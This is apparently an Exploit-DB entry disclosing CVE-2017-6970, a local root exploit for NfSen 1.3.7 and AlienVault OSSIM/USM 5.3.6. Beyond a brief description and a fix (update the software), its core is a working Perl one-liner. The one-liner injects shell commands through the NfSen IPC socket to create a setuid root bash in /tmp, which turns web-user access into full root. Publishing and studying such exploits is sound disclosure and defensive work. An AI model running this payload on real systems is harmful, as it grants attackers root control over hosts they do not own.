NfSen < 1.3.7 / AlienVault OSSIM < 5.3.6 - Local Privilege Escalation

EDB-ID:

42305




Platform:

Linux

Date:

2017-07-10


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# Exploit Title: Local root exploit affecting NfSen <= 1.3.7, AlienVault USM/OSSIM <= 5.3.6
# Version: NfSen 1.3.7
# Version: AlienVault 5.3.6
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: AlienVault USM 5.3.6
# CVE: CVE-2017-6970

1. Description
  
The web user (in AlienVault USB www-data) has access to the NfSen IPC UNIX domain socket. This can be used to send a crafted command (complete with shell metacharacter injection) to the NfSen Perl components, causing OS command injection in a root privilege context, and therefore can be leverage for privilege escalation from the web user to full root privileges.

2. Proof of Concept

Pre-requisites - web user/www-data shell (e.g. web shell, or reverse shell).

Execute the following command:

perl -e 'use Socket; socket(my $nfsend, AF_UNIX, SOCK_STREAM, 0); connect($nfsend, sockaddr_un("/var/nfsen/run/nfsen.comm")); print $nfsend "run-nfdump\nargs=-h \$(bash -c \"cp /bin/bash /tmp\")\n.\nrun-nfdump\nargs=-h \$(bash -c \"chmod u+s /tmp/bash\")\n.\n";'
  
This will create a set uid root bash binary in /tmp, which can then be used to gain full root privileges.

3. Solution:
  
Update to latest version of NfSen/USM/OSSIM